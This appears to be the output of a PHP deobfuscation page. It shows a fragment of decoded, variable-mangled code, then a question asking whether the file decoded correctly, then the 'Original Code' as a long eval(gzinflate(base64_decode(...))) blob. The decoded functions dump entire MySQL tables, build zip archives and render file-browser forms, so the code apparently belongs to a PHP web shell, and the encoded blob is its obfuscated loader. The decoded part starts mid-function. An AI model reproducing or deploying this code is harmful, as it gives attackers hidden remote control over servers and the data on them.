file(){$kkkkkkkkkk=implode('',$cccccccccc->datasec);$uuuuuuuuuu=implode('',$cccccccccc->ctrl_dir);return $kkkkkkkkkk.$uuuuuuuuuu.$cccccccccc->eof_ctrl_dir.pack('v',sizeof($cccccccccc->ctrl_dir)).pack('v',sizeof($cccccccccc->ctrl_dir)).pack('V',strlen($uuuuuuuuuu)).pack('V',strlen($kkkkkkkkkk))."\x00\x00";}}function sqldumptable($cccc,$bb,$mmmm=0){$bb='`'.$bb.'`';$ttttttttttt="TRUNCATE TABLE $bb;\n";if($mmmm){fwrite($mmmm,$ttttttttttt);}else{echo $ttttttttttt;}$uuuuuuuuuuu=q($cccc,"SELECT * FROM $bb");$vvvvvvvvvvv=mysqli_num_fields($uuuuuuuuuuu);while($hhhh=mysqli_fetch_array($uuuuuuuuuuu)){$ttttttttttt="INSERT INTO $bb VALUES(";$wwwwwwwwwww=-1;$xxxxxxxxxxx=1;while(++$wwwwwwwwwww<$vvvvvvvvvvv){if(!$xxxxxxxxxxx){$ttttttttttt.=", ";}else{$xxxxxxxxxxx=0;}if(!isset($hhhh[$wwwwwwwwwww])){$ttttttttttt.="NULL";}else{$ttttttttttt.="'".mysqli_escape_string($cccc,$hhhh[$wwwwwwwwwww])."'";}}$ttttttttttt.=");\n";if($mmmm){fwrite($mmmm,$ttttttttttt);}else{echo $ttttttttttt;}}fr($uuuuuuuuuuu);if($mmmm){fwrite($mmmm,"\n");}else{echo "\n";}}function ue($yyyyyyyyyyy){return urlencode($yyyyyyyyyyy);}function p($yyyyyyyyyyy){echo $yyyyyyyyyyy."\n";}function tbhead(){p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){p('</table>');}function makehide($zzzzzz,$b=''){p("<input id=\"$zzzzzz\" type=\"hidden\" name=\"$zzzzzz\" value=\"$b\" />");}function makeinput($zzzzzzzzzzz=array()){$zzzzzzzzzzz['size']=$zzzzzzzzzzz['size']>0?"size=\"$zzzzzzzzzzz[size]\"":"size=\"100\"";$zzzzzzzzzzz['extra']=$zzzzzzzzzzz['extra']?$zzzzzzzzzzz['extra']:'';!$zzzzzzzzzzz['type']&&$zzzzzzzzzzz['type']='text';$zzzzzzzzzzz['title']=$zzzzzzzzzzz['title']?$zzzzzzzzzzz['title'].'<br />':'';$zzzzzzzzzzz['class']=$zzzzzzzzzzz['class']?$zzzzzzzzzzz['class']:'input';if($zzzzzzzzzzz['newline']){p("<p>$zzzzzzzzzzz[title]<input class=\"$zzzzzzzzzzz[class]\" name=\"$zzzzzzzzzzz[name]\" id=\"$zzzzzzzzzzz[name]\" value=\"$zzzzzzzzzzz[value]\" type=\"$zzzzzzzzzzz[type]\" $zzzzzzzzzzz[size] $zzzzzzzzzzz[extra] $zzzzzzzzzzz[checked] /></p>");}else{p("$zzzzzzzzzzz[title]<input class=\"$zzzzzzzzzzz[class]\" name=\"$zzzzzzzzzzz[name]\" id=\"$zzzzzzzzzzz[name]\" value=\"$zzzzzzzzzzz[value]\" type=\"$zzzzzzzzzzz[type]\" $zzzzzzzzzzz[size] $zzzzzzzzzzz[extra] $zzzzzzzzzzz[checked] />");}}function makeselect($zzzzzzzzzzz=array()){if($zzzzzzzzzzz['onchange']){$aaaaaaaaaaaa='onchange="'.$zzzzzzzzzzz['onchange'].'"';}$zzzzzzzzzzz['title']=$zzzzzzzzzzz['title']?$zzzzzzzzzzz['title']:'';if($zzzzzzzzzzz['newline'])p('<p>');p("$zzzzzzzzzzz[title] <select class=\"input\" id=\"$zzzzzzzzzzz[name]\" name=\"$zzzzzzzzzzz[name]\" $aaaaaaaaaaaa>");if(is_array($zzzzzzzzzzz['option'])){if($zzzzzzzzzzz['nokey']){foreach($zzzzzzzzzzz['option']as $b){if($zzzzzzzzzzz['selected']==$b){p("<option value=\"$b\" selected>$b</option>");}else{p("<option value=\"$b\">$b</option>");}}}else{foreach($zzzzzzzzzzz['option']as $mmmmm=>$b){if($zzzzzzzzzzz['selected']==$mmmmm){p("<option value=\"$mmmmm\" selected>$b</option>");}else{p("<option value=\"$mmmmm\">$b</option>");}}}}p("</select>");if($zzzzzzzzzzz['newline'])p('</p>');}function formhead($zzzzzzzzzzz=array()){global $q;!$zzzzzzzzzzz['method']&&$zzzzzzzzzzz['method']='post';!$zzzzzzzzzzz['action']&&$zzzzzzzzzzz['action']=$q;$zzzzzzzzzzz['target']=$zzzzzzzzzzz['target']?"target=\"$zzzzzzzzzzz[target]\"":'';!$zzzzzzzzzzz['name']&&$zzzzzzzzzzz['name']='form1';p("<form name=\"$zzzzzzzzzzz[name]\" id=\"$zzzzzzzzzzz[name]\" action=\"$zzzzzzzzzzz[action]\" method=\"$zzzzzzzzzzz[method]\" $zzzzzzzzzzz[target]>");if($zzzzzzzzzzz['title']){p('<h2>'.$zzzzzzzzzzz['title'].' &raquo;</h2>');}}function maketext($zzzzzzzzzzz=array()){!$zzzzzzzzzzz['cols']&&$zzzzzzzzzzz['cols']=100;!$zzzzzzzzzzz['rows']&&$zzzzzzzzzzz['rows']=25;$zzzzzzzzzzz['title']=$zzzzzzzzzzz['title']?$zzzzzzzzzzz['title'].'<br />':'';p("<p>$zzzzzzzzzzz[title]<textarea class=\"area\" id=\"$zzzzzzzzzzz[name]\" name=\"$zzzzzzzzzzz[name]\" cols=\"$zzzzzzzzzzz[cols]\" rows=\"$zzzzzzzzzzz[rows]\" $zzzzzzzzzzz[extra]>$zzzzzzzzzzz[value]</textarea></p>");}function formfooter($zzzzzz=''){!$zzzzzz&&$zzzzzz='submit';p('<p><input class="bt" name="'.$zzzzzz.'" id="'.$zzzzzz.'" type="submit" value="Submit"></p>');p('</form>');}function goback(){global $q,$iiii;p('<form action="'.$q.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$iiii.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');}function formfoot(){p('</form>');}function pr($bbbbbbbbbbbb){echo "<pre>".print_r($bbbbbbbbbbbb).'</pre>';}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("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